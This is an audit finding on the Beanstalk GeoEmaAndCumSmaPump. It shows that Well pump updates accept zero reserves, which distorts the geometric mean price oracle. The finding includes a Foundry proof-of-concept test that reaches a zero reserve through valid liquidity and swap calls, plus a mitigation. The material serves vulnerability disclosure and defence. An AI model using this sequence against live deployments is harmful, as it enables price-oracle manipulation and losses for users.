Vulnerability: Each Well is responsible for ensuring that an `update` call cannot be made with a reserve of 0
Severity: high

Description:
The current implementation of `GeoEmaAndCumSmaPump` assumes each well will call `update()` with non-zero reserves, as commented at the beginning of the file:\\n```\\n/**\\n * @title GeoEmaAndCumSmaPump\\n * @author Publius\\n * @notice Stores a geometric EMA and cumulative geometric SMA for each reserve.\\n * @dev A Pump designed for use in Beanstalk with 2 tokens.\\n *\\n * This Pump has 3 main features:\\n *  1. Multi-block MEV resistence reserves\\n *  2. MEV-resistant Geometric EMA intended for instantaneous reserve queries\\n *  3. MEV-resistant Cumulative Geometric intended for SMA reserve queries\\n *\\n * Note: If an `update` call is made with a reserve of 0, the Geometric mean oracles will be set to 0.\\n * Each Well is responsible for ensuring that an `update` call cannot be made with a reserve of 0.\\n */\\n```\\n\\nHowever, there is no actual requirement in `Well` to enforce pump updates with valid reserve values. Given that `GeoEmaAndCumSmaPump` restricts values to a minimum of 1 to prevent issues with the geometric mean, that the TWA values are not truly representative of the reserves in the `Well`, we believe it is worse than reverting in this case, although a `ConstantProduct2` `Well` can have zero reserves for either token via valid transactions.\\n```\\nGeoEmaAndCumSmaPump.sol\\n        for (uint i; i < length; ++i) {\\n            // Use a minimum of 1 for reserve. Geometric means will be set to 0 if a reserve is 0.\\n            b.lastReserves[i] =\\n                _capReserve(b.lastReserves[i], (reserves[i] > 0 ? reserves[i] : 1).fromUIntToLog2(), blocksPassed);\\n            b.emaReserves[i] = b.lastReserves[i].mul((ABDKMathQuad.ONE.sub(aN))).add(b.emaReserves[i].mul(aN));\\n            b.cumulativeReserves[i] = b.cumulativeReserves[i].add(b.lastReserves[i].mul(deltaTimestampBytes));\\n        }\\n```\\n

Impact:
Updating pumps with zero reserve values can lead to the distortion of critical states likely to be utilized for price oracles. Given that the issue is exploitable through valid transactions, we assess the severity as HIGH. It is crucial to note that attackers can exploit this vulnerability to manipulate the price oracle.\\nProof of Concept: The test below shows that it is possible for reserves to be zero through valid transactions and updating pumps do not revert.\\n```\\nfunction testUpdateCalledWithZero() public {\\n    address msgSender = 0x83a740c22a319FBEe5F2FaD0E8Cd0053dC711a1A;\\n    changePrank(msgSender);\\n    IERC20[] memory mockTokens = well.tokens();\\n\\n    // add liquidity 1 on each side\\n    uint amount = 1;\\n    MockToken(address(mockTokens[0])).mint(msgSender, 1);\\n    MockToken(address(mockTokens[1])).mint(msgSender, 1);\\n    MockToken(address(mockTokens[0])).approve(address(well), amount);\\n    MockToken(address(mockTokens[1])).approve(address(well), amount);\\n    uint[] memory tokenAmountsIn = new uint[](2);\\n    tokenAmountsIn[0] = amount;\\n    tokenAmountsIn[1] = amount;\\n    uint minLpAmountOut = well.getAddLiquidityOut(tokenAmountsIn);\\n    well.addLiquidity(\\n        tokenAmountsIn,\\n        minLpAmountOut,\\n        msgSender,\\n        block.timestamp\\n    );\\n\\n    // swaFromFeeOnTransfer from token1 to token0\\n    msgSender = 0xfFfFFffFffffFFffFffFFFFFFfFFFfFfFFfFfFfD;\\n    changePrank(msgSender);\\n    amount = 79_228_162_514_264_337_593_543_950_334;\\n    MockToken(address(mockTokens[1])).mint(msgSender, amount);\\n    MockToken(address(mockTokens[1])).approve(address(well), amount);\\n    uint minAmountOut = well.getSwapOut(\\n        mockTokens[1],\\n        mockTokens[0],\\n        amount\\n    );\\n\\n    well.swapFromFeeOnTransfer(\\n        mockTokens[1],\\n        mockTokens[0],\\n        amount,\\n        minAmountOut,\\n        msgSender,\\n        block.timestamp\\n    );\\n    increaseTime(120);\\n\\n    // remove liquidity one token\\n    msgSender = address(this);\\n    changePrank(msgSender);\\n    amount = 999_999_999_999_999_999_999_999_999;\\n    uint minTokenAmountOut = well.getRemoveLiquidityOneTokenOut(\\n        amount,\\n        mockTokens[1]\\n    );\\n    well.removeLiquidityOneToken(\\n        amount,\\n        mockTokens[1],\\n        minTokenAmountOut,\\n        msgSender,\\n        block.timestamp\\n    );\\n\\n    msgSender = address(12_345_678);\\n    changePrank(msgSender);\\n\\n    vm.warp(block.timestamp + 1);\\n    amount = 1;\\n    MockToken(address(mockTokens[0])).mint(msgSender, amount);\\n    MockToken(address(mockTokens[0])).approve(address(well), amount);\\n    uint amountOut = well.getSwapOut(mockTokens[0], mockTokens[1], amount);\\n\\n    uint[] memory reserves = well.getReserves();\\n    assertEq(reserves[1], 0);\\n\\n    // we are calling `_update` with reserves of 0, this should fail\\n    well.swapFrom(\\n        mockTokens[0],\\n        mockTokens[1],\\n        amount,\\n        amountOut,\\n        msgSender,\\n        block.timestamp\\n    );\\n}\\n```\\n

Recommended mitigation:
Revert the pump updates if they are called with zero reserve values.